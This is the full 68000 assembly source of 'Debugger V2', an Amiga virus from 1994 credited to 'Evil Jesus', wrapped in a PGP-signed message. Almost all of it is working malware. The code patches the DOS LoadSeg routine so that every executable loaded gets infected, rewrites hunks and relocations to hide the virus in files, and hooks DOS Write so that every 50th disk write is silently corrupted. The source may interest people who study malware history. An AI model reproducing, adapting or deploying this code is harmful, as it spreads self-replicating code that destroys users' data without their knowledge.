-----BEGIN PGP SIGNED MESSAGE-----

*
* Debugger V2 (AmigaDOS 2.0)
*
* by Evil Jesus, bringing the best viruses for Amiga computers.
*
* Original finnish seal of quality & proof of origin and time:
*
* Perjantai 8.4.1994
*
* TV1: 14.00 Päiväopisto, elämää ja erotiikkaa
* TV2: 18.25 Pelin Henki
* TV3: 17.30 Kauniit ja rohkeat, perheonnea pinkillä sohvalla
*      22.30 Hyvä sexiopas
*
* Ajattele työllisyyttä, suosi kotimaista!
*

CALLLIB	MACRO
	jsr	\1(a6)
	ENDM

LMOVE:	macro
	lea	\2(pc),a0
	move.l	\1,(a0)
	ENDM

MEMF_PUBLIC	= 1

Allocmem	= -198
Freemem		= -210
FindTask	= -294
Wait		= -318
PutMsg		= -366
GetMsg		= -372
ReplyMsg	= -378
WaitPort	= -384
CloseLibrary	= -414
OpenLibrary	= -552
CacheClearU	= -636

Open		= -30
Close		= -36
Read		= -42
Write		= -48
Seek		= -66
Lock		= -84
UnLock		= -90
Info		= -114
CurrentDir	= -126
GetProgramName	= -576
GetProgramDir	= -600

; Installer: Executable file, not overlayed
; After you have started infected file virus is able to infecte almost
; all exe-files.

	moveq	#0,d0
	lea	dos(pc),a1
	move.l	$4.w,a6
	CALLLIB	OpenLibrary
	move.l	d0,a6
	pea	name(pc)
	move.l	(sp)+,d1
	move.l	#1005,d2
	CALLLIB	Open
	move.l	d0,d5

	bsr.w	HunkChange

	move.l	d5,d1
	CALLLIB	Close
	move.l	a6,a1
	move.l	$4.w,a6
	CALLLIB	CloseLibrary
	rts

dos	dc.b	'dos.library',0
name	dc.b	'ram:Infect',0
	EVEN

* Debugger V2.0 Virus / Made 1994 By Evil Jesus

Start
		dc.l	$3f1
		dc.l	[VEnd-Start-12]/4
RealProg	; Virusheader jumps here
		; Input	d4 Fh
		;	a4 Start
		;	a5 ExecBase
		;	a6 DosBase
		; Stack	Old currentdir lock
		;	Message / Only when WB-launch is detected.
		;	MessagePort

		exg	a5,a6
		move.l	d4,d1
		CALLLIB	Close			; Close file
		move.l	(sp)+,d1		; Restore dir
		CALLLIB	CurrentDir
		exg	a5,a6
		move.l	a5,a1			; Close doslib
		CALLLIB	CloseLibrary
		cmp.l	#0,a3
		bne.s	CLILaunch
		move.l	(sp)+,a1		; Message
		move.l	(sp)+,a0		; MessagePort
		CALLLIB	PutMsg			; WBLaunch will otherwise fail
CLILaunch
		move.l	60(a7),a3		; Address to start of first hunk
		move.l	#[HeadE-HeadSave],d0
		move.l	d0,d2
		moveq	#MEMF_PUBLIC,d1
		CALLLIB	Allocmem
		LMOVE	d0,HeaderAdr		; Header of linked file
		move.l	a3,a0
		move.l	d0,a1
		addq.w	#4,a1			; Space for Hunk_Size
		lea	Safe(pc),a2
		subq.w	#5,d2
Loop01		move.b	(a0),(a1)+		; Get header
		move.b	(a2)+,(a0)+		; Old data back
		dbf	d2,Loop01
		bsr.w	DoReloc			; Correct reloc
		bsr.w	Flush

		bsr.w	Alive
		tst.l	d0
		beq.s	KillMe

		lea	SegLink(pc),a2
		lea	OldJ+2(pc),a3
		move.w	#-150,d0
		bsr.b	LinkMe			; Link me to loadseg
		moveq	#40,d0
		moveq	#MEMF_PUBLIC,d1
		CALLLIB	Allocmem
		LMOVE	d0,InfoData		; Space for InfoData
	
		bsr.s	PrepareEvil		; Write function linkage
		bra.s	EvilOk

KillMe
		move.l	#[HeadE-HeadSave],d0	; Free virusheader
		move.l	HeaderAdr(pc),a1
		CALLLIB	Freemem
		move.l	#[VEnd-Start],d0	; Free me
		lea	Start(pc),a1
		CALLLIB	Freemem			; This may force system to crash!
EvilOk		movem.l	(sp)+,d0-d7/a0-a6
		rts				; Address is in stack!

;		---- This section contains destroyer ----

PrepareEvil	; Write-routine linkage, will destroy data when saving.
		lea	LinkWrite(pc),a2
		lea	OldJ2+2(pc),a3
		moveq	#-48,d0
		bra.s	LinkMe			; Link me to Write

LinkWrite	; Every 50. disk-write will be corrupted
		movem.l	d0-d7/a1-a6,-(sp)
		lsl.l	#2,d1
		move.l	d1,a0			; Handle
		tst.l	4(a0)			; Interactive?
		bne.s	NotYet
		lea	Patient(pc),a0
		subq.w	#1,(a0)+
		bne.s	NotYet
		addq.l	#1,(a0)			; Add count of write corrupts
		move.w	#50,-(a0)		; Reset wait
		move.l	d2,a0			; Write buffer
		lsr.l	#1,d3			; Lenght / 2
		add.l	d3,a0
		not.b	(a0)			; Corrupt!
NotYet		movem.l	(sp)+,d0-d7/a1-a6
		movem.l	a0,-(sp)
OldJ2		jsr	$0
		movem.l	(sp)+,a0
		not.b	(a0)			; Restore
		rts

;		---- Data corruptor code ends ----

LinkMe		; Input	a2 New routine address
		;	a3 New routines link to old
		;	a5 DosBase
		;	d0 DosRoutine OffSet
		move.l	2(a5,d0.w),(a3)		; Save old jump
		move.l	a2,2(a5,d0.w)		; Link my routine
		bsr.b	Flush
		rts

Alive:		; Check if virus is already in memory
		; Input	 a5 DosBase
		; Output d0 0=Virus already in memory
		cmp.w	#$4ef9,-150(a5)		; Check if KickStart1.2/3
		bne.s	ILive
		move.l	-148(a5),a0
		cmp.l	#' DEB',[Check-SegLink](a0)	; Check data
		beq.s	ILive
ILiveSoon	moveq	#-1,d0
		rts
ILive		moveq	#0,d0
		rts

Flush:		movem.l	d0-d7/a0-a6,-(sp)
		move.l	$4.w,a6
		CALLLIB	CacheClearU
		movem.l	(sp)+,d0-d7/a0-a6
		rts

DoReloc		; Correct reloc of first hunk
		; Input	a3 Start of hunk
		move.l	a3,a0
		move.l	Reloc(pc),d0		; Address: reloc32
		lsl.l	#2,d0
		add.l	d0,a0			; Start of relochunk
		addq.l	#4,a0			; $3ec is unimportant
		lea	-4(a3),a1		; Segment 0
NextHunk	move.l	a1,a2
		move.l	(a0)+,d0		; How many offsets
		beq.s	NoNeed
		move.l	(a0)+,d1		; Hunk Number
		beq.s	Hunk0
		subq.w	#1,d1
Loop03		move.l	(a2),a2			; Next segment
		add.l	a2,a2
		add.l	a2,a2
		dbf	d1,Loop03
Hunk0		move.l	a2,d3
		addq.l	#4,d3
		subq.w	#1,d0			; Hopefully there is under 65535
Loop08		move.l	(a0)+,d2		; Offset
		add.l	d3,0(a3,d2.l)		; Correct hunk
		dbf	d0,Loop08
		bra.s	NextHunk
NoNeed		rts

SegLink		; Linked to loadseq routine
		move.l	a0,-(sp)
		LMOVE	d1,FName
		move.l	(sp)+,a0
OldJ		jsr	$0			; Load original code
		movem.l	d0-d7/a0-a6,-(sp)
		tst.l	d0
		beq.s	SegError
		lsl.l	#2,d0			; Coz of BCPL
		move.l	d0,a0			; Program code
		addq.l	#4,a0
		move.l	a0,a2
		move.l	HeaderAdr(pc),a1
		addq.l	#4,a1
		move.w	#[HeadE-HeadS]-1,d0
Loop04		move.b	(a0)+,d1		; Check if file is already infected
		cmp.b	(a1)+,d1
		bne.s	Infect
		dbf	d0,Loop04
		bra.s	SegError

Infect:
		moveq	#0,d0			; Infect file
		move.l	HeaderAdr(pc),a1
		lea	[LDos-HeadSave](a1),a1	; dos.library name
		bsr.w	DiskProtection		; Check if you can write to media
		tst.l	d0
		beq.s	SegError
		move.l	FName(pc),d1		; Address to FileName
		move.l	#1005,d2
		CALLLIB	Open
		move.l	d0,d5
		beq.s	OpenError		; Coz of overlays
		bsr.s	HunkChange		; Link program to file
		move.l	d5,d1
		CALLLIB	Close
OpenError
SegError	movem.l	(sp)+,d0-d7/a0-a6
		rts

HunkChange	; Link virus to file
		; Input	d5 FileHandle
		; ! It is good idea to check protection bits and change
		;   file size back to original !

		move.l	HeaderAdr(pc),a3	; Where is linkheader

		move.l	d5,d1
		move.l	InfoData(pc),d2
		moveq	#6*4,d3
		CALLLIB	Read
		move.l	InfoData(pc),a2
		cmp.l	#$3f3,(a2)+
		bne.w	NotExe
		tst.l	(a2)+			; If Hunk_names linking is impossible
		bne.w	NotExe
		addq.l	#4,a2			; Jump over hunkcount
		move.l	4(a2),d0		; This way is needed coz of overlay
		sub.l	(a2),d0			; How many hunks
		addq.l	#1,d0
		cmp.l	-4(a2),d0		; Overlayed files cannot be infected
		bne.w	NotExe
		lsl.l	#2,d0
		addq.l	#8,a2
		move.l	(a2),d1
		and.l	#$3fffffff,d1		; Coz of CHIP mark
		cmp.l	#[HeadE-HeadSave]/4,d1	; Enough room for header?
		blo.w	NotExe
		move.l	d0,d7
		add.l	#6*4,d7			; Bytes from start to linkplace
		move.l	(a2),(a3)		; Old size of the first hunk

		move.l	d5,d1			; Filepointer to first hunk
		move.l	d7,d2
		moveq	#-1,d3
		addq.l	#4,d2
		CALLLIB	Seek
		move.l	d5,d1			; Read old data from hunk
		pea	Safe(pc)
		move.l	(sp)+,d2
		move.l	#[HeadE-HeadS],d3
		CALLLIB	Read

		lea	Safe+2(pc),a0		; Lib/dev check
		cmp.w	#$4afc,(a0)
		beq.b	NotExe
		cmp.w	#$4e75,(a0)+
		beq.b	NotExe
		cmp.w	#$4afc,(a0)
		beq.b	NotExe

		bsr.w	RelocMe			; Merge first hunk and its reloc
		tst.l	d0
		beq.s	NotExe

NoRelocProblems
		and.l	#$3fffffff,(a3)		; Remove possible CHIP mark
		move.l	d5,d1			; Filepointer to first hunk
		move.l	d7,d2
		moveq	#-1,d3
		CALLLIB	Seek
		move.l	d5,d1			; Save VirusHeader to hunk
		move.l	a3,d2
		move.l	#[HeadE-HeadSave],d3
		CALLLIB	Write

		move.l	d5,d1			; Filepointer to end-4 (Overide $3f1)
		moveq	#-4,d2
		moveq	#1,d3
		CALLLIB	Seek
		move.l	d5,d1			; Save realprog
		pea	Start(pc)
		move.l	(sp)+,d2
		move.l	#[[VEnd-Start+2]/4]*4,d3
		CALLLIB	Write

		lea	EvilCount(pc),a0	; One file more is debugged!
		addq.l	#1,(a0)
NotExe		rts

DiskProtection	; Check write protection and free space
		; Output d0 0=Writing impossible
		move.l	FName(pc),d1
		moveq	#-1,d2
		CALLLIB	Lock
		move.l	d0,d1
		move.l	d0,d3
		move.l	InfoData(pc),d2
		CALLLIB	Info
		move.l	d3,d1
		CALLLIB	UnLock
		move.l	InfoData(pc),a0
		cmp.l	#82,8(a0)		; DiskState
		bne.s	DiskAlert
		move.l	12(a0),d0		; How many blocks in the disk
		sub.l	16(a0),d0		; How many blocks used
		cmp.l	#8192,d0		; Floppy is too slow
		blo.s	DiskAlert
		moveq	#-1,d1
		rts
DiskAlert	moveq	#0,d0
		rts

FindPlace	; Find & read next possible reloc hunk
		; Input	d4 Offset in long-words (From end of first hunk)
		move.l	d4,d2
		add.l	(a3),d2
		lsl.l	#2,d2
		add.l	d7,d2			; Offset to linkplace
		addq.l	#4,d2
		move.l	d5,d1
		moveq	#-1,d3
		CALLLIB	Seek
		move.l	d5,d1
		move.l	InfoData(pc),d2
		moveq	#8,d3
		CALLLIB	Read
		rts

RelocMe		; Analyze how large reloc hunk is
		; Output d0 0=Relocmerge failed
		moveq	#0,d4
		bsr.s	FindPlace
		move.l	InfoData(pc),a2
		cmp.l	#$3ec,(a2)
		bne.s	RelocProblems
		move.l	4(a2),d4		; How many offsets
		addq.l	#3,d4			; Coz of relocs additional information
Loop07		bsr.s	FindPlace
		tst.l	(a2)
		beq.s	RelocEnd
		add.l	(a2),d4
		addq.l	#2,d4			; Coz of additional information
		bra.s	Loop07
RelocEnd	addq.l	#1,d4			; Include endmark (reloc)
		LMOVE	(a3),Reloc		; Offset to reloc32
		add.l	d4,(a3)			; New first hunk size

		move.l	d5,d1
		move.l	#5*4,d2
		moveq	#-1,d3
		CALLLIB	Seek
		lea	Patient(pc),a0		; We don't want our data corruptor
		addq.w	#3,(a0)			; to corrupt us
		move.l	d5,d1			; Save first hunks size
		move.l	a3,d2
		moveq	#4,d3
		CALLLIB	Write
		moveq	#-1,d0
		rts
RelocProblems	moveq	#0,d0
		rts

FName		dc.l	0		; Address to name (When in LoadSeg)
InfoData	dc.l	Need		; Pointer to InfoData structure
EvilCount	dc.l	0		; How many infections
HeaderAdr	dc.l	HeadSave	; Address to VirusHeader
Reloc		dc.l	0		; How many bytes code after hidden
					; reloc hunk (In first hunk)
Result		dc.l	0		; How many write corrupts
Patient		dc.w	100		; Wait destroying
Safe		blk.b	186,0		; Space for old contest of first hunk (HeadE-HeadS)
Check		dc.b	' DEBUGGER(041994) '
		CNOP	0,4
		dc.l	$3f2
VEnd

HeadSave
		dc.l	0	; New hunksize
HeadS		; This routine will be moved to start of first hunk (VirusHeader)
		pea	HeadS(pc)
		movem.l	d0-d7/a0-a6,-(sp)
		moveq	#0,d0	
		lea	LDos(pc),a1
		move.l	$4.w,a6
		CALLLIB	OpenLibrary
		move.l	d0,a5
		move.l	#[VEnd-Start],d0
		moveq	#MEMF_PUBLIC,d1
		CALLLIB	Allocmem
		move.l	d0,a4
		sub.l	a1,a1
		CALLLIB	FindTask
		move.l	d0,a3
		tst.l	$ac(a3)			; Check if from WB
		bne.s	CLILauncher
		lea	$5c(a3),a0
		CALLLIB	WaitPort
		lea	$5c(a3),a0
		move.l	a0,-(sp)		; MessagePort
		CALLLIB	GetMsg
		move.l	d0,a3
		move.l	d0,-(sp)		; Message
		move.l	$24(a3),a2		; ArgList
		move.l	(a2)+,d1		; Lock
		exg	a5,a6
		CALLLIB	CurrentDir		; Set working dir
		move.l	d0,-(sp)
		move.l	(a2),d1			; Pointer to name
		sub.l	a3,a3			; Mark WBLaunch
		bra.s	WBEntry

CLILauncher	exg	a5,a6
		CALLLIB	GetProgramDir
		move.l	d0,d1
		CALLLIB	CurrentDir
		move.l	d0,-(sp)
		move.l	$ac(a3),d0
		lsl.l	#2,d0
		move.l	d0,a0
		move.l	$10(a0),d1		; Address to name (BCPL)
		lsl.l	#2,d1
		addq.l	#1,d1

WBEntry		move.l	#1005,d2
		CALLLIB	Open			; Open file
		move.l	d0,d4
		move.l	d4,d1
		move.l	#-[VEnd-Start],d2
		moveq	#1,d3
		CALLLIB	Seek			; Filepoint to realprog
		move.l	d4,d1
		move.l	a4,d2
		move.l	#[VEnd-Start],d3
		CALLLIB	Read			; Load realprog
		exg	a5,a6
		CALLLIB	CacheClearU
		jmp	8(a4)			; Jump to realprog
LDos		dc.b	'dos.library',0
HeadE		EVEN

Need		blk.b	40,0

-----BEGIN PGP SIGNATURE-----
Version: 2.3a.2

iQBFAgUBLaTt3I3j8jX6L7S9AQF/ogF+Ngfz00nFeA4PcKcE6x+tiu/6qMrSq/hS
Yn92k0HowQ6IDn2Dxn2hcecFa562WRyw
=ifbW
-----END PGP SIGNATURE-----
